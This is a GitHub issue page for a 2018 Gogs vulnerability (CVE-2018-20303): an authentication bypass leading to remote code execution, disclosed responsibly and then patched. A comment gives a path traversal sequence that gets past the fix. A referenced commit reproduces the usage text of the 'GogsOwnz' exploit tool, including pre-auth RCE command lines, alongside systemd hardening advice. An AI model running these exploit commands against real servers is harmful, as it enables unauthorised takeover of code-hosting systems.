Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Code execution or|and Denial of Service #5558

Closed
snyff opened this issue Dec 18, 2018 · 8 comments
Closed

Remote Code execution or|and Denial of Service #5558

snyff opened this issue Dec 18, 2018 · 8 comments
Labels
🔒 security Categorizes as related to security status: needs feedback Tell me more about it

Comments

@snyff
Copy link

snyff commented Dec 18, 2018

Gogs version (or commit ref): latest (0.11.79)
Can you reproduce the bug at https://try.gogs.io:
[ ] Yes (provide example URL)
[X] No it's currently down

I discovered a way to gain code execution (via a bypass of the authentication to gain admin access, very similar to #5469) or to trigger a small denial of service.

Can you confirm u@gogs.io is still the best email to send more details?

Best,
Louis

@unknwon
Copy link
Member

unknwon commented Dec 18, 2018

Can you confirm u@gogs.io is still the best email to send more details?

Yes, please send details to this email address. Thanks!

@unknwon unknwon added 🔒 security Categorizes as related to security status: needs reproduce Wait, how did that happen? status: needs feedback Tell me more about it labels Dec 18, 2018
@snyff
Copy link
Author

snyff commented Dec 18, 2018

Sent :)

@unknwon
Copy link
Member

unknwon commented Dec 18, 2018

Patch has pushed to fix this issue, please test on develop branch or https://try.gogs.io.

@svnk42
Copy link

svnk42 commented Dec 21, 2018

While analyzing this security issue, I noticed that the provided fix in SanitizePath() is incomplete. It is still possible to insert path traversal sequences (e.g. ..././..././) to write files to arbitrary directories. I'm not too familiar with go, but generally recommend path normalization functions to fix these type of issues.

@svnk42
Copy link

svnk42 commented Dec 21, 2018

#5564 should fix this.

@unknwon
Copy link
Member

unknwon commented Dec 25, 2018

Hi, I've updated detect functions, please help verify again, thanks!

@unknwon unknwon closed this as completed Jan 27, 2019
@TheZ3ro
Copy link

TheZ3ro commented Jan 30, 2019

@snyff have you already requested a CVE for this?

@snyff
Copy link
Author

snyff commented Jan 30, 2019

CVE-2018-20303

crohr pushed a commit to pkgr/gogs that referenced this issue Jan 31, 2019
crohr pushed a commit to pkgr/gogs that referenced this issue Jan 31, 2019
crohr pushed a commit to pkgr/gogs that referenced this issue Jan 31, 2019
richmahn referenced this issue in unfoldingWord/dcs Feb 4, 2019
@unknwon unknwon modified the milestones: 0.13, 0.12 Nov 26, 2019
@unknwon unknwon removed this from the 0.12 milestone Nov 26, 2019
puckiestyle added a commit to puckiestyle/python that referenced this issue Dec 6, 2019
GogsOwnz is a simple script to gain administrator rights and RCE on a Gogs/Gitea server.
Exploit vulnerabilities in Gogs/Gitea, including CVE-2018-18925, CVE-2018-20303.

Legal Disclaimer This script is offered as is. No warranty, use on your own, please obey the law.

Typical Usage - [Please, read the full usage]
Get info about Gogs/Gitea running

python3 gogsownz.py https://127.0.0.1:3000/ -v --info
Exploit preauth PrivEsc

python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth
Exploit PrivEsc

python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup
or alternatively

python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup
Exploit preauth RCE

python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup
Exploit auth RCE

python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup
Full usage

usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

Thanks
Thanks to:

Tencent Security (@md5_salt, @ma7h1as and @chromium1337)
PentesterLab (@snyff)
LuckyC4t
the gogs security community :D
Further readings
gogs/gogs#5469
gogs/gogs#5558
gogs/gogs@8c8c37a
gogs/gogs#5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

Mitigations
If you take care in setting up your systemd unit file, you'll be pleasantly surprised to see that exploitation is somewhat contained:

[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target
This will at least keep filesystem access contained to an ephemeral filesystem created by systemd. It helps, but you should probably patch the privesc and not give any admin.. obviously
@github-actions github-actions bot locked as resolved and limited conversation to collaborators Mar 23, 2022
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
🔒 security Categorizes as related to security status: needs feedback Tell me more about it
Projects
None yet
Development

No branches or pull requests

4 participants